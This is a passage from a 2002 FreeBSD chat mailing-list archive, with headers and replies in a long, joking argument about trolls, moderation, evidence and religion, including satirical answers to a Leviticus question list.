who attempt solutions of this manner consistently >> >> tend to attempt life orthogonalization, most amusingly where life cannot >> >> be handled thus. >> > >> > That is a different topic, and it's irrelevent to the discussion >> > at hand. >> >> There's that hand waving again. ;) Hi to you too! *wave* > > You "observe that people who attempt solutions of this manner > consistently tend to attempt life orthogonalization". > Please provide the raw data, so that everyone else in the class > can make the same observations, or come up with their own > observations. Alternately, please provie proof by induction. > Thanks. Wow, even more hand waving, and a tennis ball to boot. ;) >> >> What if your observational equipment is filtered by a need to be >> >> correct? Then all your models will look correct to you, especially >> >> if you filter out the data that might contradict your findings. >> > >> > Predictive ability is the measure of correctness. It is >> > therefore empirically falsifiable. >> >> Only to make you look good by finding the right answer later. > > The goal is a correct answer, not to venerate "Dave Hayes, Good Guesser". > 8-). I thought we were elevating "Terry Lambert, Psychosocial Mathematician"? >> >> Hmm, clearly I chose the wrong word. I'll put it this way: typical >> >> methods for gathering statistical data have a insufficiently large >> >> sample space and a woefully inadequate method of assuring random >> >> selection. Then there's the interference from attempting to observe >> >> the phenomena. >> > >> > Then use atypical methods, without this perceived flaw. >> >> Like? > > OK, whatever methods you are using? Not them. I don't even work with this branch of math much anymore, other than to correlate existing data for which I have data that spans the entire space. >> >> > By not making it "your own sandbox", you failed to put a border >> >> > between your society and Tim's. The result was predictable. >> >> >> >> I can assure you that my current border is overcompensatingly >> >> impenetrable. ;) >> > >> > This is exactly the behaviour you decry in others. >> >> Not exactly. I don't kick people out or ban trolls. I merely make sure >> the list is not perceivable by the general net.public. That has worked >> wonders. It's not what I want, but it's a start. > > Who's talking about banning? I'm only talking about building > an "impenetrable border" between them and the rest of us. Same thing. >> >> If you (and others) would just exhibit it, it wouldn't matter whether >> >> they did. >> > >> > IYO. It's amazing to me that you believe you have The One True >> > Answer(tm), >> >> I don't. That is the only apparent way it will ultimately solve >> itself. I'm open to other ideas, but not those that involve any >> explicit moderation. > > How about killing all trolls? That would work. Eventually, > people would be afraid to troll. That won't work because you won't find anyone dishonorable enough to do that for free. >> > and to accept this bald-ass claim of yours without >> > any tangible evidence or even a prrof-of-concept implementation >> > which exhibits the properties you claim such a solution will have. >> >> I'll give you a hint: people who need this are exactly the kind of >> people who can't co-exist on mailing lists without driving them >> to moderation. > > Prove it. No. >> >> Bah. I don't think any rules will "work". I don't have faith in >> >> purely scientific methods to come up with a solution. I think the >> >> only way out is to wait for people to grow up. >> > >> > Find a way of forcing that. I dare you. In fact, I double-dog >> > dare you. 8-). >> >> You can't force people to grow, except maybe in your mathematical >> world of game-theory...where people are punished for not adhering >> to the formula. In fact, forcing them to grow is contrary to "natural >> law". > > Well, then, there you go... you've created a Gordian knot, a paradox > which can never be resolved, and therefore we can do any damn thing > we want, That doesn't really follow, does it? A paradox is not a license to do anything. >> > They do not have me worried. >> >> Then why spend so much energy debating and thinking about the problem? >> Surely you are not one to waste time? > > I've thought about the troll problem. I have an ultimate solution, > which will work. It has unpleasent long term consequences, but > ideal short term consequences. I'm debating in order to offer you > an opportunity to convince me that the short term consequences are > not what I project them to be, and to offer alternative strategies, > which you have, so far, failed to offer. The problem is, because of the type of person you are, a) proving anything to you is impossible and b) you won't be able to see any alternative stratigies. Your mind is made up, and I'm not going to waste time proving the contrary to you...to do so might be dishonorable. >> > Then we'll die out as a species, and the problem will still be >> > solved. 8-). >> >> No. =( An entirely new planet will have to be started. > > Have at it... I'm not in charge of that department. ;) >> >> But it needs performers. You don't think I'd actually go so far >> >> as to do that and not have some act going at the same time? >> > >> > A good example is the lack of claimants for the events of >> > September 11th. Without someone claiming responsibility, >> > there is no chance of those responsible achieving their >> > goals as a result of the action. >> >> Those who did it are -dead-. Hello? If they were interviewable >> you can bet that reporters would be interviewing them. Sufficient, >> but not necessary. In the example I outlined, if you didn't interview >> me, someone else would. > > No, they aren't. The instruments are dead, but the hands that > wielded them are very much alive. Assuming there were hands in the first plcae. >> >> Why is this important? >> > >> > It speaks to motive. Again, without demands, there is no >> > redeeming value in socially disruptive actions. >> >> That just means they are trying to get people to meet demands that for >> some reason they don't want everyone to know about. > > Well, that'll certainly work, won't it? > "We demand that ... " They are doing a class of things kind of like what you are attempting, attempting to control what people do and say. This is far easier to do if you don't advertise that you are attempting this but go ahead and do your actions anyway. >> >> > So it worked with Tim, did it? >> >> >> >> For a while it did, but his ego couldn't bear the interaction. >> > >> > So that's "No", right? 8-) 8-). >> >> No, that's a 'it worked initially but other factors interfered with >> the experiment, thus any clear observational result from a single >> cause was lost'. > > Clearly, you need to control the number of variables in your > experiments in the future, such that they do not exceed the > number of equations in the system. You can't always control variables where humans are concerned. >> > Then let's subtract them from the picture, and concentrate on the >> > big issues. 8-). >> >> Why waste time on the irrelevant? =) > > So we are agreed. We'll subtract them. No we are not agreed, subtracting them wastes time. >> >> Topicality is subjective and rarely well-defined enough not to have >> >> posts that are on the edge. >> > >> > It would be nice if you would prove that claim, so that it's >> > possible to agree with you. >> >> It's more fun to attempt to get you to agree by feel rather than by >> mind. ;) > > It's not going to happen, particularly when I have data that > contradicts you. Even if you didn't, it wouldn't happen ... ;) >> > Your sense of nostalgia doesn't make it something it's not. >> >> I never said it did, and you are confusing transport with the >> perception of the fora again. > > Perception is irrelevant. Gravity does not, contrary to the > Roadrunner cartoons, only effect people who look down and notice > they are standing in mid-air. You've never been a toon, have you? ;) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< Genius may have its limitations, but stupidity is not thus handicapped. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 18: 7:24 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 37E6037B400 for ; Thu, 5 Sep 2002 18:07:23 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id C053143E4A for ; Thu, 5 Sep 2002 18:07:22 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g8617K197960; Thu, 5 Sep 2002 18:07:20 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209060107.g8617K197960@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 05 Sep 2002 18:07:15 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> > No, it's because you won't defend your statements when they >> > appear to break down. >> >> They only break down because you are attacking them. > > Regardless of the reason, they are broken down. But not irregardless of the assumptions, "data", and worldview of the person breaking them down. > The cause is not germane to the observation that they are broken > down. Stop trying to dodge responsibility. ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< I have no doctrine to give people -- I just cure ailments and unlock fetters. -Zen Teaching To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 18: 8:42 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 94D9F37B400 for ; Thu, 5 Sep 2002 18:08:40 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2D68A43E4A for ; Thu, 5 Sep 2002 18:08:40 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g8618c197988; Thu, 5 Sep 2002 18:08:38 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209060108.g8618c197988@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 05 Sep 2002 18:08:33 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> > Data is not information. >> >> But what does that mean? > > Get a book on signal processing, turn to the glossary, and look > up the word "intelligence", in the context of signal processing. A great deal of intelligence can be invested in ignorance, when the need for illusion is deep. ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< Common sense and a sense of humor are the same thing, moving at different speeds. A sense of humor is just common sense, dancing. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 18:13:57 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0BE0F37B400 for ; Thu, 5 Sep 2002 18:13:55 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9114B43E65 for ; Thu, 5 Sep 2002 18:13:54 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g861Dq198043; Thu, 5 Sep 2002 18:13:52 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209060113.g861Dq198043@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: "Neal E. Westfall" Cc: Terry Lambert , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 05 Sep 2002 18:13:47 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Neal E Westfall writes: > On Wed, 4 Sep 2002, Dave Hayes wrote: >> >> > However, given your rejection of authority, who are you to condemn >> >> > police brutality? >> >> Someone who's lost a friend to it. >> > And this is exactly why I find it bizzare that someone who has lived >> > through such an experience would continue to believe that in the end, >> > it's all pretty meaningless. >> It's called "controlled folly", and I don't believe it or disbelieve >> it. I try to keep from belief, and stick to knowledge. I know that >> none of this life here on Earth is real. Is a character in, say, >> EverQuest real? Does it have meaning? > While playing these games with you is quite amusing and you think you > are being clever, I don't think I am being clever. I think I am being egotistical, deliberately irrational, and stubborn. ;) > you couldn't even continue to play them without acknowledging the > God who makes it possible to string words together into a sentence > that has meaningful content. You ever spit up a waterfall? ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< If you're looking for the key to the Universe I've got some good news and some bad news. The bad news: There is no key to the universe. The good news: It was never locked. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 18:16:27 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EE67137B400 for ; Thu, 5 Sep 2002 18:16:25 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 86C1C43E65 for ; Thu, 5 Sep 2002 18:16:25 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g861GI198090; Thu, 5 Sep 2002 18:16:19 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209060116.g861GI198090@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Joshua Lee Cc: "Neal E. Westfall" , tlambert2@mindspring.com, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 05 Sep 2002 18:16:13 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Joshua Lee writes: > If you're looking for proofs, the math department is down the hall. Yes, the sign on the door reads "T. Lambert". ;) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< A suggested definition of "sin" - Trading aliveness for survival. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 18:58:19 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A4FBD37B400 for ; Thu, 5 Sep 2002 18:58:16 -0700 (PDT) Received: from harrier.mail.pas.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4F41143E6A for ; Thu, 5 Sep 2002 18:58:15 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0142.cvx22-bradley.dialup.earthlink.net ([209.179.198.142] helo=mindspring.com) by harrier.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17n8Nw-0007aP-00; Thu, 05 Sep 2002 18:58:13 -0700 Message-ID: <3D780B78.79BD4823@mindspring.com> Date: Thu, 05 Sep 2002 18:57:12 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Joshua Lee Cc: "Neal E. Westfall" , dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020904232446.0b55b1d5.yid@softhome.net> <20020904205814.U38687-100000@Tolstoy.home.lan> <20020905200221.6d920659.yid@softhome.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Joshua Lee wrote: > Because blood doesn't produce repentence, inner change does. In verse > 11, it is repudiating the very theological issue of repentance through > the blood of the sacrifices that you are aspousing. The solution? Not a > better and more "complete" sacrifice of a human being, but "Learn to do > good, seek justice, vindicate the victim, render justice to the orphan, > take up the grievence of the widow." (Verse 17.) There is a "How do you change an apostate light-bulb?" joke in there somewhere, screaming to get out... -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 19: 7:58 2002 Delivered-To: freebsd-chat@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 931) id 478AE37B400; Thu, 5 Sep 2002 19:07:56 -0700 (PDT) Date: Thu, 5 Sep 2002 19:07:56 -0700 From: Juli Mallett To: "Neal E. Westfall" Cc: Joshua Lee , dave@jetcafe.org, tlambert2@mindspring.com, crap@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-ID: <20020905190756.A54861@FreeBSD.org> References: <20020904232446.0b55b1d5.yid@softhome.net> <20020904205814.U38687-100000@Tolstoy.home.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020904205814.U38687-100000@Tolstoy.home.lan>; from nwestfal@directvinternet.com on Thu, Sep 05, 2002 at 09:05:38AM -0700 Organisation: The FreeBSD Project X-Alternate-Addresses: , , , , X-Towel: Yes X-LiveJournal: flata, jmallett X-Negacore: Yes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org * De: "Neal E. Westfall" [ Data: 2002-09-05 ] [ Subjecte: Re: Why did evolution fail? ] > So why are you attacking what my religion teaches? Aren't you just > being a little bit hypocritical? Do you think that Christians just > made up the doctrine of hell? Where do you think it came from? Did In ancient Hebrew tribal religion, there were two sects, one who worshipped the god of death, one who worshipped the god of life. The god of death was stronger than the god of life, and those who worshipped the god of life were jealous, and the jealousy became a part of the persona of the god of life, to excuse the hatered of others who worshipped stronger gods, and over time, the jealousy caused them to annex the attributes of the god of death, into the god of life. From there, Jahweh/... as known today (and iirc, as the god of life was known then), Judaism was born after ages passed, and from there, we end up with Christianity these days. It would be more correct to say that Hebrew tribal elders made up hell; you are forgetting that the roots of Christianity are in Judaism. And of course they made it up, it fulfills a number of low-level desires of the human psyche. Not that I'm not a religious person myself, it's just important to remember that all of this came from tribal traditions and warring, and that all of Wicca came from a lecherous old man who decided to take from Celtic and old European religions throughout the ages, and that Jesus was a man, and a great man, and a man who said great things. That doesn't mean any of it isn't true. Just because one "makes something up" doesn't mean it's false. It could be inherent in-born knowledge. I prefer to believe that all beliefs are valid, most are probably somewhat right, and none are "wrong". It's all about people and perception. Unfortunately, this universe seems built with the intentions to get people to look beyond perception - things have inherent beauty and structure at levels below what the eye can see, people are not always what they appear to be, and enjoying it is what really matters, to me. -- Juli Mallett | FreeBSD: The Power To Serve Will break world for fulltime employment. | finger jmallett@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 19:21:27 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 287A637B400 for ; Thu, 5 Sep 2002 19:21:24 -0700 (PDT) Received: from flamingo.mail.pas.earthlink.net (flamingo.mail.pas.earthlink.net [207.217.120.232]) by mx1.FreeBSD.org (Postfix) with ESMTP id 61F9543E75 for ; Thu, 5 Sep 2002 19:21:23 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0142.cvx22-bradley.dialup.earthlink.net ([209.179.198.142] helo=mindspring.com) by flamingo.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17n8kH-0007l8-00; Thu, 05 Sep 2002 19:21:18 -0700 Message-ID: <3D7810E1.1B379ADF@mindspring.com> Date: Thu, 05 Sep 2002 19:20:17 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: George Reid Cc: "Neal E. Westfall" , Joshua Lee , dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020904232446.0b55b1d5.yid@softhome.net> <20020904205814.U38687-100000@Tolstoy.home.lan> <20020906013554.A42842@FreeBSD.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org I don't claim to have all the answers, but here are some of them... George Reid wrote: > a) When I burn a bull on the altar as a sacrifice, I know it creates a > pleasing odor for the Lord (Lev 1:9). The problem is my neighbors. > They claim the odor is not pleasing to them. Should I smite them? Only if they call the cops. > d) Lev. 25:44 states that I may indeed possess slaves, both male and > female, provided they are purchased from neighboring nations. A > friend of mine claims that this applies to the Welsh, but not > the Scottish. Can you clarify? Why can't I own a Welsh person? You can. You just have to purchase your Welsh person from a neighboring nation. This also avoids the normal sales tax, so it's a good idea, all around. I'd check eBay. > e) I have a neighbor who insists on working on the Sabbath. Exodus > 35:2 clearly states he should be put to death. Am I morally obligated > to kill him myself? Yes. The place where most people mess up is in not waiting until after the Sabbath. Monday is soon enough. Definitely before Thursday. > g) Lev 21:20 states that I may not approach the altar of God if I have > a defect in my sight. I have to admit that I wear reading glasses. > Does my vision have to be 20/20, or is there some wiggle room here? Reading glasses are OK. Mostly, the Lord doesn't like those colored contact lenses. > h) Most of my male friends get their hair trimmed, including the hair > around their temples, even though this is expressly forbidden by Lev > 19:27. How should they die? Quickly. > i) I know from Lev 11:6-8 that touching the skin of a dead pig makes > me unclean, but may I still play football if I wear gloves? No. Unless you are from Texas. See "transubstantiation". -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 20: 0:38 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E1AF337B400 for ; Thu, 5 Sep 2002 20:00:20 -0700 (PDT) Received: from swan.mail.pas.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1593443E6E for ; Thu, 5 Sep 2002 20:00:18 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0142.cvx22-bradley.dialup.earthlink.net ([209.179.198.142] helo=mindspring.com) by swan.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17n9Ll-0007HV-00; Thu, 05 Sep 2002 20:00:01 -0700 Message-ID: <3D7819F5.EB51EDE7@mindspring.com> Date: Thu, 05 Sep 2002 19:59:01 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209060106.g8616H197913@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > >> Of course not, for you believe it to work and it does...for you. > >> It's impossible for strict rationalists to see that as they are > >> "convinced" of something, it becomes real to them. They think they > >> are perceiving the "true reality", when all they are doing is making > >> their reality agree with how they are convinced it works. > > > > I think you are projecting your own faith. > > A tautology, given the above. I will believe this if you can convince a rationalist that there is no gravity, "ti becomes real for them", and you demonstrate for me a flying rationalist. I guess this is where we get the phrase "flying in the face of reason". 8-). > > I hereby exclude all posts which defy classification. 8-). > > That is how a moderator stifles communication into stagnicity. Hardly. It only excludes edge cases. Put the edge a little further out, and you only exclude cases which are definitely not edge cases, according to the original definition. > > It's not a matter of will. It's a matter of mechanics. > > As you believe, so shall it be. "Hail, hail, fire and snow..." > > Either the system functions as designed, or it's not a correct > > system. > > What was nature designed for? It wasn't designed, as far as we know. > > But we aren't talking about just you. We have to include your > > friend Tim, and people like them > > Yes and you are suggesting catering to them and not people like me. No, you're the one who suggested catering to trolls. I distinctly recall you suggesting that everyone but the trolls change their behaviour, in order to deal with trolls. I can cite the archives, if your memory has failed you. > > Barring evidence to the contrary, the simplest explanation is > > the correct one. > > That's arbitrary. You might as well flip a coin. It's not arbitrary. Arbitrary would be if there was no overall standard for selection. This most definitely is a standard. > >> You've verified each and every one of these "issues", that you > >> do not have false data? > > > > I've verified certain of them; the key ones that I could not > > accept without my own observation. > > But there were those that you could accept and so just accepted? Non-key ones are derivational; they don't need verification if they are nonaxiomatic, and capable of being derived from axioms. > > I have absolutely no problem considering evidence that contradicts > > my tenets of reality. IF you present some, I will consider it. > > Ah, so you will accept only datum which you can label as "evidence". > So your "blinders" are achieved by labelling something as "not-evidence". If you want to call that a "blinder" because you need me to appear to be wearing blinders for your philosophy to not dissolve in a puff of logic, I have no problem with you propping up your reality by choposing your perception of me. > >> It's this kind of out-of-hand dismissing which is why I consider > >> science a religion, and why I think I'm hangin with the right peeps. > > > > I'm not dismissing it out of hand; I am dismissing it after grave > > consideration. That you don't like the outcome doesn't belittle > > the effort. > > I can't belittle the effort, I haven't seen any. I have seen the > dismissal. Well, by all means, let's belittle everything we've seen! 8-). > >> There is no "the" answer. The assumption that a "the" answer must > >> exist and conform to some arbitrary standard is what makes a religion. > > > > Yes, there is. There's the specification. The program conforms > > to the specification, or it does not. It's a nice binary line. > > When you constrain and restrict the problem and the specification > enough, you can get these nice binary lines. This doesn't always > happen in practice. It does in *professional* practice. 8-). > >> I use quotes to refrain from getting into "semantical" arguments about > >> what something really "meant", particularly with people that "presume" > >> there is only one "meaning" to every word or phrase. ;) > > > > Use agreed upon meanings, and you won't have this problem. > > Just where do you find a definitive source on these? Is agreement by > majority consensus or by consensus of some arbitrary group of > cognoscenti? Majority, unless the majority consensus is to permit the definition by consensus of cognoscenti. 8-). > > You "observe that people who attempt solutions of this manner > > consistently tend to attempt life orthogonalization". > > Please provide the raw data, so that everyone else in the class > > can make the same observations, or come up with their own > > observations. Alternately, please provie proof by induction. > > Thanks. > > Wow, even more hand waving, and a tennis ball to boot. ;) That's not hand-waving, it's a demand for evidence at near gunpoint. 8-). > >> > Predictive ability is the measure of correctness. It is > >> > therefore empirically falsifiable. > >> > >> Only to make you look good by finding the right answer later. > > > > The goal is a correct answer, not to venerate "Dave Hayes, Good Guesser". > > 8-). > > I thought we were elevating "Terry Lambert, Psychosocial Mathematician"? For someone who keeps making phenomenological claims, you'd think that you wouldn't care where an idea originated, if thevalidity of the idea isseperate from its source... > >> > Then use atypical methods, without this perceived flaw. > >> > >> Like? > > > > OK, whatever methods you are using? Not them. > > I don't even work with this branch of math much anymore, other than to > correlate existing data for which I have data that spans the entire > space. Exclusion sets work. All of science is based on the falsification of theories, based on empirical observations. > >> >> I can assure you that my current border is overcompensatingly > >> >> impenetrable. ;) [ ... ] > > Who's talking about banning? I'm only talking about building > > an "impenetrable border" between them and the rest of us. > > Same thing. "Do as I say, not as I do"? > >> > and to accept this bald-ass claim of yours without > >> > any tangible evidence or even a prrof-of-concept implementation > >> > which exhibits the properties you claim such a solution will have. > >> > >> I'll give you a hint: people who need this are exactly the kind of > >> people who can't co-exist on mailing lists without driving them > >> to moderation. > > > > Prove it. > > No. Then live with the natural consequence of people behaving as if it's not true. [ ... forcing people to grow is contrary to "natural law" ... ] > > Well, then, there you go... you've created a Gordian knot, a paradox > > which can never be resolved, and therefore we can do any damn thing > > we want, > > That doesn't really follow, does it? A paradox is not a license to > do anything. By that same token, neither is a refusal to grow up. > > I've thought about the troll problem. I have an ultimate solution, > > which will work. It has unpleasent long term consequences, but > > ideal short term consequences. I'm debating in order to offer you > > an opportunity to convince me that the short term consequences are > > not what I project them to be, and to offer alternative strategies, > > which you have, so far, failed to offer. > > The problem is, because of the type of person you are, a) proving > anything to you is impossible and b) you won't be able to see > any alternative stratigies. Your mind is made up, and I'm not going > to waste time proving the contrary to you...to do so might be > dishonorable. "Proving" something to me is eminently possible. Something is "proven" to me if it is the simplest explanation which fits all the facts. If that's impossible, I'll also accept any predictive working model, as long as we agree to stay away from edge conditions where the model fails to operate predictively. 8-). > > Well, that'll certainly work, won't it? > > "We demand that ... " > > They are doing a class of things kind of like what you are attempting, > attempting to control what people do and say. This is far easier to do > if you don't advertise that you are attempting this but go ahead and > do your actions anyway. I don't attempt to control what people do and say. I don't have the rights to update the mailing list "blacklists". I am merely stating that trolls can be effectively squelched, because they are not emergent. You are claiming that they can not be, because they are emergent, and propose a "conservation of social energy" model, in which trolls come into existance as part of kind of an equivalent to a "social pair-production" process, where for every contributor, there is an equal and opposite troll. Before I accept your proposition that there is a new conservation law that you've discovered, and which no one else has ever seen before, I'd like to look at the data myself, and to repeat the experiments that have led you to this conclusion and see if I reach the same conclusions. That's eminently fair, I think, since you are the one proposing a change to the established order, which is based on the theory that no such pair production exists, and seems to work pretty well, despite your claim that its nature is flawed. I'm even accepting your premise for the sake of argument, even though my own observations of the ratio of trolls to contributors indicates that no such pair production is occuring, given the self-evident preponderance of contributors. > >> No, that's a 'it worked initially but other factors interfered with > >> the experiment, thus any clear observational result from a single > >> cause was lost'. > > > > Clearly, you need to control the number of variables in your > > experiments in the future, such that they do not exceed the > > number of equations in the system. > > You can't always control variables where humans are concerned. Then your model is flawed, or you are trying to operate at too high a granularity. > > So we are agreed. We'll subtract them. > > No we are not agreed, subtracting them wastes time. It's not your time being wasted; why do you care if someone else wastes their time? It's theirs to waste. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 20: 4: 5 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E495B37B400 for ; Thu, 5 Sep 2002 20:04:03 -0700 (PDT) Received: from swan.mail.pas.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by mx1.FreeBSD.org (Postfix) with ESMTP id A726243E65 for ; Thu, 5 Sep 2002 20:04:03 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0142.cvx22-bradley.dialup.earthlink.net ([209.179.198.142] helo=mindspring.com) by 